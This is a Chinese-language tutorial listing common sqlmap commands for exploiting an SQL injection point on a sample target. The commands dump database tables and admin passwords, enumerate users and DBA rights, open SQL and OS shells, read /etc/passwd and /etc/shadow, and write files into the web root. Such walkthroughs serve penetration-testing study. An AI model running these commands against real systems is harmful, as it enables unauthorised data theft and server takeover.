什么是Sqlmap?
Sqlmap是一个专业的SQL注入工具,用法也很多,具体可以用"sqlmap -hh"查看完整的命令帮助文档,我这只是给大家分享一些最常用的Sqlmap用法:
一、Sqlmap注入篇
1、检查注入点
找注入点有两种方法:其中一种是手测,即在链接后手动加入一个闭合符查看是否报错,一般来说,有报错即存在注入;其二为在Sqlmap中检测是否存在注入点。
root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11
2、存在注入点后爆所有数据库信息
root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --dbs
爆当前数据库信息
root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --current-db
3、列出指定数据库所有的表名
root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 -D dbname --tables //dbname为目标数据库名
4、列出指定表名的所有列名
root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 -D dbname -T admin --columns //admin为目标表名
5、dump打印输出表名指定列名字段的值数据
root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 -D dbname -T admin -C name,password --dump //'name,password' 为指定字段名称
二、Sqlmap用户权限篇
1、列出数据库管理系统用户:
root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --users
查看当前连接数据库用户:
root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --current-user
2、判断当前用户是否是DBA?
root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --is-dba
3、查看用户权限:
root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --sql-shell
sql-shell> select version();
//注意:这里由于进入了sql shell可以执行sql语句了,也可以用 load data infile、load_file、into outfile等函数来进行文件读取或写入;
2、cmd shell(--os-shell)
root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --os-shell
root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --os-cmd=ifconfig
3、读取服务器上指定文件
root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --file-read=/etc/passwd
root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --file-read=/etc/shadow
4、写入本地文件到服务器上
root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --file-write /test/test.txt --file-dest /www/wwwroot/www.test.com/1.txt
以上就是Sqlmap主要命令和参数了,Sqlmap有很多用法,有兴趣的师傅可以自己深入了解!